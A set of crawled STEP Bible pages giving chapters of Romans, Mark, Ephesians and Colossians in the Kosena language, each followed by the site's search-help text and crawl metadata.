amáparawaiyavena séna sáwíꞋa kwéesa puwónááowe siráimba póna moóráwai Ísu Káráísiti kaweꞋá urónkakemba sáwíꞋo uráampinkemba iyátinkena aúnáiꞋo umáímo maíꞋmaiꞋo ónááoniꞋa kwéumatinkaiye. 19 aiva-kwáásígó Áánútun-aai arááíronkakemba amáparawai sáwíꞋa uráambanivo moóráwai Ísu Káráísiti Áánútu siráiniꞋa urónkakemba Áánútu kwenaúrankaꞋa sáwívarawai arupí kwéumatinkaiye.\n20 sáwíꞋa umbá Áánútu kwená ámáámba Mósesimba simámakomba mindáyavena miwítí sáwí-mayaigo anómba uráiye. mirá umbánivo Áánútu arumbá umátínkámae iyúwana anómba uráiye. 21 ááéma sáwíꞋo urón-imayaago tátokowasa pósa puwí-ámbá kwakáawe. mirá uráambanivo ívéꞋa Áánútumo arumbó kwéumasinkaiwaiya tátoraisata kwenaúrankaꞋa arupí umáíya máyaundaya kentáásí Ísóigo Ísu Káráísiti aúnáitaamo umáíya maíꞋmaiꞋo ónaunda-ita kwéumasinkaiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Rom.5","date":"2018-04-25T12:33:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125947803.66\/warc\/CC-MAIN-20180425115743-20180425135743-00498.warc.gz","language":"kze","language_score":0.9999924898,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999924898147583}","num_words":630,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.141,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mark 6\nNásáretivakewai Ísumba tínaaemba umánkaraan-kwasai.1 minkákémbá Ísu kwenamáápaꞋa kwéena kwená kwayó-kwáásíyé kumbá 2 Yútaa-kwaasi monor-áímbá kwéison-kanaaraꞋa monoꞋ-náúmpáꞋá iyéna aaí simátimuwasa sáwíva-kwaasi isésa táátavai ésa sésa náávakena kawer-ímáyáá mairéna kawer-áímbá kwésimasimenayaawa nááwawa asirayámbá ámísana kaweꞋ-máyáí ímo awánáúnda-mayai kwémayaiyo. 3 kwentáámó awánáúnda taaineí évaka-tantaaꞋo kwéiwaiman-iye. Máríyaa áánimba éna Yémési Yósisi Yútási Sáímoni tuwaaómán-iye. kwenáúnavaꞋa maankáꞋá máyáawe. maankákéwáímá póna úwoi-kwaasiman-ivo náávakena mináímbá isénawa minásíráyámbá mairénawa kwésiyo sésa kayorésa tínaaemba umámúwana 4 Ísu simátimena séna Áánútun-aai simátímíwai óꞋon-oꞋon-daopaꞋa kwénaaisasa kwenáwíꞋa mósá kwémaraavo kwená naaópaꞋa komáyáimba kwenamááraa sésa kesáámó úndanten-kwaasiman-iye sésa kwenáwíꞋa íma mósá kwémaraawe Ísu siráiye.\n5 kesáámó úndanten-kwaasima éna íma súwaꞋnaa íníye suntávéna ímo awánom-bayai moórá-mora-mayaiye suꞋmai mairáiye. moórá-mora tíꞋo ún-kwaasi tineꞋá ayáándei tátorena asóvamatinkena 6 kwenamáápaken-kwaasi sésa íma súwaꞋnaa íníye sun-áíntávéna imáyáa uwááena naaóꞋ-naoꞋa Áánútun-aai simátímapaꞋa kuráiye.\nÍsu kwená kwaási mayáíráꞋá tiꞋmákain-kwasai.7 Ísu kwená kwayó-kwáásí sísamaivakemba kaeꞋá kumbaimái-kwaasi tááyowasa tuwaná kwaási tirumpinkémbá taraváá-kwámbá maitíyuꞋmaeꞋa nááóro-asirayamba tiména séna kaesé umásuweꞋa nááóro séna 8 asiramái simátimena séna aampaꞋó kwíyamba íma moórá-yantaaꞋa maimaéꞋa koró. toómbá íma maimaéꞋa kwéꞋa toón-únámbá íma maimaéꞋa kwéꞋa óntamba íma maimaéꞋa koró. tááúmba vaimaéꞋa 9 tísamai-anaamba kwimaéꞋa moórá-mora-umai unáánkwátói timantenká umái kuvéꞋmaeꞋa koró. 10 Áánútun-aai simátimenaaontaveꞋa moórá-naopaꞋo kwíyasamo naambó timíyaꞋa mindáúmpáré suꞋmai méꞋa kentí mayáí maimái ánáseꞋa mindámbá tuwéꞋa óꞋon-daopaꞋa koró. 11 moórá-naopaꞋo kwíyambo naambó ímo timésamo kentááimo ímo isáíyanamo éna Áánútu mindáópaken-kwaasi íma aamoí umátinkanivo umásítaiꞋa éꞋa tísamaivakem-baramo uwáéntemba untéꞋa koró Ísu simátimuwasa 12 kwená kwayó-kwáásí isésa naaóꞋ-naoꞋa kwénaaesa kosimátimesa sésa sáwí-imayaa tínaaemba umámeꞋa ÁánútumpaꞋa teró sésa 13 taraváá-kwántómbá kwaási tirumpinkémbá komaitiyuwésa tíꞋo ún-kwaasi taaéraampinken-domba atínkávaꞋa kuwasá asóvamatinkavaꞋa kuráawe.\nYóni nombó pétinkaraiwai pukáin-kwasai.14 Ísuna mayáígón-áái símae íyúwana Káríri-marara-kawaanako áwíꞋa Éróti mináímbá ísarai. Ísuntavesa évakarawai sésa Yóni nombó pétinkaraiwai pukáimpinkemba usásinkena póna kwempímbá asirayámbá kwáyáísana mirám-báyáí kwémayaiye suwasá 15 évakarawai sésa kwemá Áánútun-aai simátímakowai áwíꞋa Íráiyaa pukáimpinkemba usásinena máyáiye suwasá évakarawai sésa kwemá naaóváꞋá Áánútun-aai simátímakowairaamba máyáiye suwaná 16 Éróti iséna séna kwemá Yóni nombó pétinkaraiwaiman-iye. kemá simátinkaunasa Yóni anumarambá arátúwááwana pukáisana usásinankaisana máyáiye Éróti siráiye.\n17 ááéma Éróti kwenáváko awainínkómbá áwíꞋa Erotíyasimba mairówana Yóni séna enáváko awainínkómbá aambá áúmbakaawa mayááne simásimaꞋa úwana Éróti tiꞋmarówasa Yónimba koáíꞋmaesa ándávimba máánkarowana Erotíyasima Yóni ááiyavena aaisambá séna inkamónáe súwana 20 Éróti séna ímaniye séna Yóni kawer-ímáyáágwárá-kwáásí úntavena Éróti kwenáároi inkaiséna kwenkáꞋá tavíkéna Erotíyasima inkámívo séna kwenkáꞋá tavíkéna kwenááima ísámai kaumbo-káér-imayaa umánkena aasiyaasí koísaraiye. 21 ánivo naaémba Erotíyasina kanaamá túmba Éróti anón-tanomba kaumái kwená kawáá-kwaasi ááipin-anon-kwaasi Káríri-ayampaken-anon-kwaasi tímúwasa nowaná 22 Erotiyási ayáámúnko téna araimá marówasa Érótiye toómbá naráan-kwaasiye aamoí umánkówana Éróti minárásígóntávéna séna nóintantaatavena ankáíya simásímínaꞋa áméno séna 23 áraiꞋa súnda póꞋa sísainaꞋa áméno. kesí maramó arááímo táíndamo e sísainaꞋa tasá-áméno súwana 24 anówamba koáísaa ena séna nóintantaara komayánaumno súwana Yóni nombá pétinkaraiwai aꞋnómbá koáísaa-e mayaaó súwana 25 avekáán-úwana ÉrótinopaꞋa téna taáísaa ena séna ívéꞋa Yóni nombá pétinkaraiwai aꞋnómbá aráꞋmái táávepimba maré simiyó súwana 26 iséna arumbá kwéumbanivo aivaꞋá asirayán-áímbá siráin-aimba imáyáa éna toómbó naan-kwáásígwáráꞋá ísaraantavaiye séna íma aꞋáo sénáe séna 27 i-kwáásí moórá aiꞋmarówana ándávinkemba Yónimba anumarambá aráꞋmái aꞋnómbá 28 táávepimba maréna maimaéna minárásígómbá máamuwana maimaéna anówamba máamuwasa 29 Yónina kwayó-kwáásí isésa anómba komaimái utamánkaraawe.\nnaaémba Éróti Ísuna mayáígón-áái iséna séna minkwáásígó Yóni nombó pétinkaraiwai éna pukáimpinkemba usásinankaisana máyáiye Éróti siráiye.\nÍsu sáwíva-kwaasi toómbá tímakain-kwasai.30 Ísumo mayáíráꞋó tiꞋmákain-kwaasi mimbáyáí maisuwésa ÍsunopaꞋa tésa amápaꞋ-mayaimo máyón-aimba aaimó sun-áímbá simámúwasa 31 ÍsunopaꞋa sáwíva-kwaasi kuré ire untávésa toómbá íma kaweꞋá umái nowaná mindáyavena kwená kwayó-kwáásíyávéna séna kwaásimo ímo máyaiyapata kométa agándaano súwasa 32 nompí-sípívímbá usámaaisesa kwaásimo ímo máyáapataawe sésa kuwasá 33 sáwíva-kwaasi tuwánésa aúyésa naaóꞋ-naokemba marapáꞋá kóyo uwasá Ísun-iyai nompí-sípívímbá kumbá 34 marapáꞋá ásávena misáwívá-kwáásí tuwánéna arumbá umátinkena sipisípi-poi-ayuraamba miwítí kawáá íma máyówasa kewé suꞋmai máyóntavena Ísu arumbá umátinkena ayáátáár-aai kwésimatimuwasa 35 enónkaꞋa kwená kwayó-kwáásí kwenópaꞋa tésa sésa íma sáwíva-kwaasi máyáapaꞋan-ivo enáíndaraꞋa 36 tiꞋmárénasa egwaaꞋ-náópimpaꞋa kwénaaesa toómbá meéyámbáráaro suwaná 37 Ísu simátimena séna kemá toómbá tíméro súwasa sáwívar-ontankaken-tomba 200 kinaaraken-tomba meéyámbaꞋmaiya timúsina. óntamba íma kwáyáiye suwaná 38 nóraumai-tona káyáiya koawánaaro súwasa koawánésa tésa sésa sáwíyan-tomba évaꞋaasei-tonkwara kaeꞋ-nóyáákwáráꞋá kwáyáiye suwaná 39 Ísu kwená kwayó-kwáásíyávéna séna inkwimaꞋmái maraꞋá máéro súwasa 40 moórávaꞋa 50 kwaasi máúwasa moórávaꞋa 100 kwaasi máúwasa miráumai-kwaasi kwimakówana 41 Ísu évaꞋaasei-tonkwara kaeꞋ-nóyáákwáráꞋá maisokéna kwíyómpaꞋa karákéna Áánútuntavena súwi simásuwena mintómbá topán-topan-umai kwená kwayó-kwáásí timúwasa misáwívá-kwáásí tímúwasa noyááꞋa topán-topan-umai timúwasa misáwívá-kwáásí tímúwasa 42 amáparawai nowaná tímúꞋa vówasa sáwíva-kwaasi 5,000 kwaasi nowaná tímúꞋa vówasa kwená kwayó-kwáásí mintón-ayai sísamaivakemba kaeꞋá kumbaimái-unampimba áítumai ógwitaraawe.\nÍsu non-avóvomayaapaꞋa kuráin-kwasai.45 áítumai ógwitowana minkákémbá Ísu kwená kwayó-kwáásí tiꞋmaréna séna kesí aivaꞋá nompí-sípívímbá usámaaiseꞋa menávápáꞋ-náópaꞋa PétésáítavaꞋa koró. misáwívá-kwáásí kwétiꞋmareꞋa séꞋa kentí naaóꞋ-naoꞋa koró simátimenaumne séna 46 misáwívá-kwáásí tiꞋmarówasa miwítí naaóꞋ-naoꞋa kuwaná ÁánútumpaꞋa námúnaamo síndayavena omápaꞋa umáyowana 47 noꞋwáámba aúkúwana Ísu kweyáá marapáꞋá máyowasa kwená kwayó-kwáásí nompí-sípívímbá non-avóvomayaapaꞋa máyówana maramá nénkaꞋa kwáyowana 48 Ísu awánómba anón-unda toꞋmaé kwétena misípí tayátoꞋmarowasa nombó tuwíntámaesamo kun-támayoꞋa nonkó tavímayowasa íma kumbá irataróꞋa Ísu non-avóvomayaapaꞋa kwénaaena kwená kwayó-kwáásímó máyónkaꞋa téna táyaaitaguwasa 49 awánésa táátavesa ésa tiyántámbá kwétowasa sésa kwaántáo kwénaaiye suwaná Ísu avekáán-umai séna tááꞋa kaivó aáno máéro. kemá úne séna 51 nompí-sípívímbá usámaaisena kwegwáráꞋá umáyowana anón-undaoma maivaiyówasa táátavesa ávááraumai uwaná 52 íma táákoma kaweꞋá umái méra. sáwíyan-tompinkembo sáwíva-kwaasi taaín-timuwasamo nowáíná ááimba íma táákoma kaweꞋá umái méraawe.\nÍsu KénésárétivaꞋa tíꞋo ún-kwaasi asóvamatinkarain-kwasai.53 táátavesa ávááraumai ésa kwaaúnkóná menávápáꞋá Kénésáréti-maravaꞋa kumbá non-awámpáꞋá nompí-sípí ándánei avíkwímaresa 54 marapátá ásávowasa mimbápákén-kwáásí Ísumba aúyésa 55 naaóꞋ-naoꞋa simátimesa Ísumo tamaún-aimba isésa tíꞋo ún-kwaasi kúkutaavimba tíꞋmaesa tóyo uwaná 56 Ísu kítoꞋ-naoꞋa anón-daoꞋa kwaivá kwénaauwasa tíꞋo úwai tíꞋmai marukáꞋá marésa sésa ená unáánkwátói-araairaꞋa tátoraiyana tíꞋa étinkainkwae suwasá tátórówana tíꞋa étínkaraiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Mar.6","date":"2018-04-19T13:41:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125936969.10\/warc\/CC-MAIN-20180419130550-20180419150550-00385.warc.gz","language":"kze","language_score":0.9999951124,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999951124191284}","num_words":983,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.135,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ephesians 4\nKáráísiti áúwawaata úne siráin-kwasai.1 Ísóigona mayáímá kwémayaundarakemba ándávaꞋa sínkaraawaꞋa méꞋa maanáímbá kwakwiyéꞋa kwésimatimune. Áánútu tááyena séna maarán-umai máéro siráivo mirán-oro. 2 kentúma íma maimaé iyéꞋa paru umái méꞋa imáyáa kwéeꞋa túwaꞋnaa eꞋa sáwíꞋo umátínkáambo éꞋa íma imáyáa éꞋa úwoi túwaꞋnaa oro. 3 Áánútun-amanko imáyáa tímísaꞋa mimbórá-ímáyááráꞋá méꞋa mirá éꞋa paru úmae iyónááontaveꞋa íma ivátuwaaro. 4 Áánútun-amamba mimbórá máyáísata kesáá mimbórá-súráámbá umáíya máyaunanaya sááyaraimba póta kwesé ménaundayaveta amuꞋmaréta méta mimbórá-yántáátávéta amuꞋmaréta ménaumne. 5 Ísóigo mimbórá máyáísana Áánútun-aaiyaveta áraire kwésunda-anta mimbórá-ámbá isaná nombó kwéveraundaya mimbórá-ámbá isaná 6 Áánútu mimbóráwáí ména amáparawaiya kentáásivowama ména amáparawairata kárákwirena amáparawaiya kaweꞋá umásinkenaya kwená kwaásivimba máyáiye.\n7 Áánútu máyáísana Ísu Káráísiti kwená imáyáavinkemba kwená mayáíyá mayánaundayavenaya kwená asirayámpínkémbá moórá-morawaiya asirayántá símakaintaawe. 8 mindáyavena naaóváꞋá Áánútun-aai aúváívimba agaimaréna séna\nsanaambó iyúnkaꞋa tátokowai tíꞋmaena\niyéna kwaási aamoi-yántááꞋá tímatukaiye\nagaimaréna siráiye. 9 iyúnkaꞋo siráin-ainkona ááimba maarán-áímbán-iye. aivaꞋá marapáꞋá kunkéna 10 kwíyómpaꞋa iráimba mimbóráwáímá póna amápapimpaꞋa kwená asirayámbá kwáyáiye. 11 aamoi-yántááꞋá tímatukaiye siráin-ainkona ááimba maarán-áímbán-iye. kwená mayáímá mayánááontavena asirayámbá kwaási timúwasa évakarawaimo timún-asirayandei aantá-kwaasiti mayáí máyówasa évakarawaimo timún-asirayandei Áánútu simátímakain-aimba simátímúwasa évakarawaimo timún-asirayandei Áánútun-aai íma ísaron-kwaasi simátímaꞋmaesa kuwasá évakarawaimo timún-asirayandei Áánútuna kwaásiraꞋa kárákwiyuwasa évakarawaimo timún-asirayandei Áánútuna aambá agaráátinkowasa miráumai Ísu Káráísitina mayáímá mairáawe. 12 Áánútuna kwaásiya kwená mayáímá kwémaeta moórá-morawaiya túwaꞋnaa umai mimbóráíꞋa umáíya méta asiramátinkaundayavenaya asirayándéí mirá uráiye. 13 mindáyaveta méta Áánútu ááninkon-aaiyaveta áraire kwésundayavetaawe kwembá awánamai kaweꞋá kwéundayavetaawe mimbórá-ímáyáá éta tarúmai méta sáákaevayan-kwaasi-iꞋa umái méta KáráísitinkaaniꞋa umáíya ménaumne. 14 miráyáámó onasayáámó ésa iyámpóímo kampaꞋó kwésimatiyuwaantemba kentáá íma mirán-umai kampaꞋá simásiyuwanaaowe. mirám-baaran-aimba íya kwaréta kwaási sáwí-ampaꞋa métinkanae sésa sáwí-imayaavinkembo kwésiyan-aimba íma iséta mirán-áímbá íya kwaránaumpo 15 árair-aine suꞋmai kwéseta kwaásiti imáyáa kwéeta amápa-tantaaꞋa sáákaevayan-kwaasi-iꞋa umái méta KáráísitinkaaniꞋa umái ménaumne. kwemá kentááráꞋá kárákwiraisata 16 kesáá Káráísiti áúwawaata únana kentáásiꞋnonkaamba Káráísiti éna amápa-kuwawaakaꞋa kárákwiraiye. tiyáámba tísamaima tínúnkoma tátokaisana tiꞋnónkómó imbá amápa-kuwawaapaꞋa imáyáa tímísana tiyáánko kwená mayáí máyáísana tísamaigo kwená mayáí máyáísana mirámó kwéenamo anómbo kwéimba miráumai Káráísiti kwená kwaási imáyáa tímísasa moórá-morawai kwétuwaꞋnaa-esa kwéasiramatinkesa máyáawe.\nKáráísitinte tarútinkena aúnáiꞋa umátínkarain-kwasai.17 Ísóigo aúrankaꞋa asiramái simátimumpo ísáaro. Áánútuna aambó ímo kwégwaraawaimo máyáantemba íma miráumai máéro. miwímá sáwí-imayaavimba mésa 18 íma ísámai kaweꞋá ésa Áánútun-aaiyavesa tirunté marésa tiꞋnómbá umbaí tamái máyáantavesa miwítí imáyáao túnkwisasa Áánútumo aúnáiꞋo kwéumatinkain-ayampaꞋa íma mésa 19 sáwíꞋo kwéon-imayaawe suꞋmai ésa óꞋon-oꞋon-tantaaꞋo sáwíꞋo kwéomba aamoí ésa mirámó kwéontavesa íma tigaeyávésa kwéowe.\n20 miwí mirá kwéombanivo keinárawaꞋa Ísu KáráísitimpaꞋa téꞋa kwená aampaꞋá kwégweꞋa 21 kwenáái iséꞋa áraire sumbá Ísumpakemba árair-aimba simátímaꞋmaesa íyúwaꞋa ísaraawe. 22 ááéraan-imayaaomo sáwí-yantaataveꞋo tirááíyaveꞋo uwanamó kampaꞋó simátíyukaimba ivátuweꞋa 23 mirámó íyanamo éna Áánútu kentí imáyáa aúnáiꞋa umátinkena 24 kwembó arááímo kwétainiꞋa ónááontavena aúnáiꞋa umái ÁánútunkaaniꞋa umátinkainaꞋa áraiꞋa ÁánútuntaveꞋa imáyáa éꞋa arupí umái ménaaowe.\n25 mindáyaveꞋa kampar-áímbá tínaaemba umámeꞋa kentí kwaásivimba árair-aine suꞋmai seró. Ísu Káráísitina akún-ándá póta mimbóráíꞋa umái méta póta miráyá onó. 26 áwááꞋo síyamba íma sáwíꞋa éꞋa ááéma paru umái méꞋa áwáá-tantaaꞋa kwaíkwaiꞋa ivó séꞋa ákíraꞋa túwáaro. 27 Sáátáánigo tavisínaꞋa sáwíꞋa únavo séꞋa áwááꞋo sembá ákíraꞋa túwáaro. 28 umóyámbó kwéowai maarán-oro. íma umóyámbá éꞋa évaka-tantaaꞋo mayánááontaveꞋa mayáímá kwémaeꞋa minkákémbá mairéꞋa ímo makén-kwaasi túwaꞋnaa eꞋa tíméro. 29 sáwí-aimba íma séꞋa kaweꞋó umátinkanin-aine suꞋmai séꞋa mirámó éꞋo éꞋa mináímbó isánááon-kwaasi kaweꞋá umátinkaiyasa asiramái ménaaowe. 30 Áánútun-amanko arumbá umbaí taiváínivo íma sáwíꞋa oro. Áánútu amápa-tantaapinkemba iyásinkanin-kanaamo tínímba Áánútun-amanko kentirumpimbá máyáintaveꞋa séꞋa Áánútuna kwaásima úne sénááontavena Áánútun-amanko arumbá umbaí taiváínivo íma sáwíꞋa oro. 31 keinárawapimba maarán-tántááꞋó éꞋa tínaaemba umáméro. kayoráí-yántááré tirumbó sáwíꞋo iíyé áwááꞋo siíyé aaisambó siíyé simáímo sáwíꞋo umátinkaiye amápa-tantaaꞋo sáwíꞋo iíyé 32 íma mirá éꞋa tirumbá umátinkeꞋa túwaꞋnaa eꞋa Ísu Káráísitimo kentí sáwí-imayaamo maitiyúwáísanamo Áánútumo ímo anondá sáwí-meyambo tímíntemba óꞋowimo sáwíꞋo umátínkaraamba íma imáyáa éꞋa anondá sáwí-imayaa umátínkáaro.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Eph.4","date":"2018-04-21T12:00:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945143.71\/warc\/CC-MAIN-20180421110245-20180421130245-00510.warc.gz","language":"kze","language_score":0.9999966621,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999966621398926}","num_words":711,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.125,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Colossians 11 kemá Póro maanáímbá maanáúváívímbá agaimaráúmpo ísáaro. moóráwai áwíꞋa Tímóti kentáásí kwaásigo kesé máyáísaꞋa agaimaráúmpo ísáaro. Áánútu kwená imáyáavinkemba kentávéna séna aantá-kwaasi-iꞋa éma Ísu Káráísitin-aai kosimátímaꞋmae naauwó séna siꞋmákaivo ísáaro. 2 Kórósi-naoapakewai Áánútuna kwaási Ísu Káráísitiye tarúmaimo máyáawai kwembá íma aúwáamba asiramáímo máyáawai ísáaro. Áánútu kentáásivowa úwoi túwaꞋnaa ena paru kwéumatinkaintaveꞋa námúnaa kwésune.\n3 keinárawataveꞋo imáyáamo éꞋo námúnaamo kwésunda Áánútu Ísu Káráísiti avowámpáꞋá súwi kwésune. 4 Ísu KáráísitinkaꞋa agevamái méꞋa Áánútuna kwaási amáparawaivimba kentirumbó kwétimen-aimba iséꞋa mindáyaveꞋa ÁánútumpaꞋa súwi kwésune. 5 aivaꞋá moóráwai áwíꞋa Épávarasi árair-aimba áséi-kwasai simátimuwaꞋa ísaraankaꞋa kwíyómpaꞋo Áánútumo toꞋmayaa úmakaimba imáyáa éꞋa amuꞋmaréꞋa máyáamba póꞋa Ísu KáráísitinkaꞋa agevamái méꞋa Áánútuna kwaásivimba kentirumbá kwétimewe. 6 aivaꞋá Áánútu úwoi túwaꞋnaa in-áímbá simátimuwaꞋa iséꞋa séꞋa árair-aimban-iye suwaná mináínkó kaweꞋó umátínkaraintemba mináséí-áínkó amápaꞋ-maravaꞋa kóyáwé éna kaweꞋá kwéumatinkaiye. 7 Épávarasi mináséí-kwásáí simátímaꞋmae iráiwai kwembá sirumbá ámakaundawai keséya kaweꞋ-máyáí kwémayaiwai súwaꞋnaa ena keinárawapimba Ísu Káráísitina mayáí kogwémaena íma ivátuwena 8 tasimásimena séna Áánútun-amanko Kórósi-kwaasi imáyáa tímísasa kwaásivimba tirumbá kwétimesa kwétuwaꞋnaa-owe siráiye.\n9 súwaꞋa iséꞋa námúnaa símae kwéiyeꞋa námúnaavinkemba maarán-áímbá kwésune. Áánútu kwembó arááímo kwétain-tantaaꞋa sáma kamátinkainaꞋa awánewana Áánútun-amanko kawer-ímáyáá timínaꞋa 10 Ísóigombo arááímo kwétainiꞋa íyana tuwánéna aamoí ínaꞋa miráumai mémpinkemba óꞋon-oꞋon-kaweꞋ-mayai kwémaeꞋa Áánútumba kaweꞋá umái kwéawanaantaveꞋa námúnaa kwésune. 11 Áánútu kwená asirayámbá óꞋoran-asirayandei asiramátinkainana umbai-yántááꞋó kentópaꞋo tínímba íma mindáyaveꞋa imáyáa éꞋa asiramái ménaaontavena kwená asirayámbá timínana 12 Áánútu kwená kwaásiyavena toꞋmayaa umái ságayan-ayampaꞋa kárákwirain-ayampaꞋa makáimba kaweꞋá umátinkena toꞋmayaa úmakaimba timíníye. mindáyavena kentirunkó kaweꞋá ínaꞋa Áánútu kentáásivompaꞋa súwi sénááontaveꞋa námúnaa kwésune.\nKáráísitina ááine kwená mayáíyégóná kwaasái.13 Sáátáánigo túnkwi-ayampakewaina asirayánkó tátokaimpinkemba Áánútu sirénaya ááninko kwená imáyáa kwéiwai kárákwiraipaꞋa mósinkowanaya 14 ááninko sáwí-imayaaomo tátokaimpinkenta iyásinkenaya kentáásí sáwí-imayaa maisíyukaiye. 15 Áánútun-aneꞋó súrandeiya ímo awánáúndaya Áánútumo máyáintemba Ísu Káráísiti máyáiwaintaamo awánáúndayaamo mindá Áánútunta kwéawanaundayaawe. Áánútu kwíyómba maramá íma tarórurainkaꞋa Ísu Káráísiti ména tarórurain-tantaakomba amápaꞋa usáyaaitaraiye. 16 Áánútu súwana Ísu Káráísiti amápa-tantaaꞋa tarórurena kwíyómpaꞋo kwáyáin-tantaare marapáꞋó kwáyáin-tantaare awánáúnda-yantaare ímo awánáúnda-yantaare kwíyómpaꞋo kárákwiraawaiye asirayánkwáráwáíyé anómbo máyáawaiye mirán-tántááꞋá amápaꞋa taróruraiye. ááninko áwíꞋa mósá maránááontavena Áánútu súwana ááninko mirán-tántááꞋá amápaꞋa taróruraiye. 17 amápa-tantaaꞋa íma kwáyáinkaꞋa ááninko máyáísana amápa-tantaaꞋo taróruraimba kwená asirayándéí tátokaisana kwenamááramaaꞋa kwáyáiye. 18 aꞋnómpínkén-ímáyááó amápa-kuraꞋo kárákwiraintemba Áánútuna kwaási Káráísitin-áúraamba owaná kwemá tiꞋnónkáámbá éna kárákwiraiye. kwemá aivaríꞋa éna amáparawai usáyaaitanintavena kwená kwaásiraꞋa kárákwiraiwai póna kwená kwaási aúnáiꞋa umái máyáawaina ááimba póna Áánútu pukáimpinkemba usásinankaraiye. mindáyavena kwemá tarórurain-tantaakomba amápaꞋa usáyaaitaraiye. 19 Áánútuna imáyáavinkemba kwená asirayámbá amápaꞋa Ísu Káráísitimpimba kwáyáísana 20 Áánútu imáyáa éna séna kesááninko taairaꞋá puwínana kwená naaemá kumínímba póꞋa amáparawai paru umátínkáanasa kwíyómpaken-tantaare marapákén-tántááré simái tarútinkaanasa kesópaꞋa paru umái ménaaowe séna sáwí-imayaaomo tátokaimpinkenta iyásínkaraiye.\n21 Áánútu mináímbá keinárawatavenagwaraꞋa siráiye. ááéma sáwíꞋa éꞋa sáwí-imayaa kwéeꞋa póꞋa Áánútuna némpaꞋa méꞋa kwená namuro-kwáásíráámbá umái máyómbanivo 22 ááninko marapáꞋá kumbéna pukáimba póna mindáyavena simái tarútinkena Áánútundei-iꞋa umátínkarainana sáwí-aimba kempímbá íma kwáyainana aaivimbó maitinkánín-aimba íma kwáyainana ÁánútunopaꞋa mótinkanintavena pukáiye. 23 ááninko mirá uráivo aivaꞋá Ísu Káráísitin-aai áséi-kwasai ísaraankaꞋa áraire séꞋa kwenkáꞋá agevamái méꞋa Áánútumo toꞋmayaa úmakaimba imáyáa éꞋa amuꞋmaréꞋa máyáamba póna mináímbó asiramáímo imáyáamo úmae iyéꞋo ímo kaer-ímáyáámó éꞋo kwenkáꞋó agevamáímo ménaaombo éna Áánútu ááninko keinárawaꞋa ÁánútunopaꞋa mótinkainana kempímbá sáwí-aimba íma kwáyainana aaivimbó maitinkánín-aimba íma kwéniye.\nÍsóigona kwaási túwaꞋnaa uráin-kwasai.kemá Póro mináséí-kwásáígóna mayáí-kwáásí únasa amápaꞋ-maravaꞋa simátímaꞋmaesa kóyáwé kwéowe. 24 kwétuwaꞋnaa-unda síꞋa iníꞋa kwéumasinkaambanivo sirunkó kaweꞋá kwéiye. Ísu Káráísiti kentávéna séna kesí kwaási kesúwawaakaamba umái 